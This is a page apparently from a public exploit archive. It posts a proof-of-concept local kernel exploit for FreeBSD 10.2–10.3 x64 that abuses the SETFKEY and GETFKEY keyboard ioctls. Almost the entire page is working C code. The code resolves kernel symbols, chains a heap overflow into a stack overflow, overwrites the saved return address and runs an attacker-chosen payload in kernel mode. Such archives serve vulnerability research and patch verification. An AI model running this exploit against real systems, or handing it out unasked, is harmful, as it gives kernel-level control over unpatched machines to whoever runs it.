FreeBSD 10.2 < 10.3 x64 SETFKEY (PoC)

2018.03.01
Credit: CTurt
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/kbio.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/param.h> #include <sys/linker.h> int (*kprintf)(const char *fmt, ...); char *ostype; uint64_t originalRip; uint64_t originalRbp; void *resolve(char *name) { struct kld_sym_lookup ksym; ksym.version = sizeof(ksym); ksym.symname = name; if(kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue); return (void *)ksym.symvalue; } void payload(void) { kprintf(" [+] Entered kernel payload\n"); strcpy(ostype, "CTurt "); __asm__ volatile("swapgs; sysret"); } // Copy the stack onto the heap void heapOverflow(int index, size_t size) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = size; memset(&fkey.keydef, 0, 16); ioctl(0, SETFKEY, &fkey); } // Copy the heap onto the stack void stackOverflow(int index) { fkeyarg_t fkey; fkey.keynum = index; fkey.flen = 16; memset(&fkey.keydef, 0, 16); ioctl(0, GETFKEY, &fkey); } int main(void) { int result, i; fkeyarg_t fkey; uint32_t ripLower4 = 0x808312cd; // jmp rbp uint64_t rbp = (uint64_t)payload; kprintf = resolve("printf"); ostype = resolve("ostype"); printf(" [+] Set full length for key 10\n"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, SETFKEY, &fkey); printf(" [+] Set bad length and perform heap overflow\n"); heapOverflow(0, 128 - offsetof(fkeyarg_t, keydef) + 8 + 0x30 + sizeof(ripLower4)); printf(" [+] Prepare stack overflow memory\n"); fkey.keynum = 10; fkey.flen = 16; ioctl(0, GETFKEY, &fkey); originalRbp = *(uint64_t *)((char *)&fkey.keydef + 4); originalRip = 0xffffffff00000000 | *(uint32_t *)((char *)&fkey.keydef + 12); printf(" [+] Original rip: %#lx\n", originalRip); printf(" [+] Original rbp: %#lx\n", originalRbp); *(uint64_t *)((char *)&fkey.keydef + 4) = rbp; *(uint32_t *)((char *)&fkey.keydef + 12) = ripLower4; ioctl(0, SETFKEY, &fkey); printf(" [+] Trigger stack overflow\n"); fflush(stdout); stackOverflow(0); return 0; }


Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top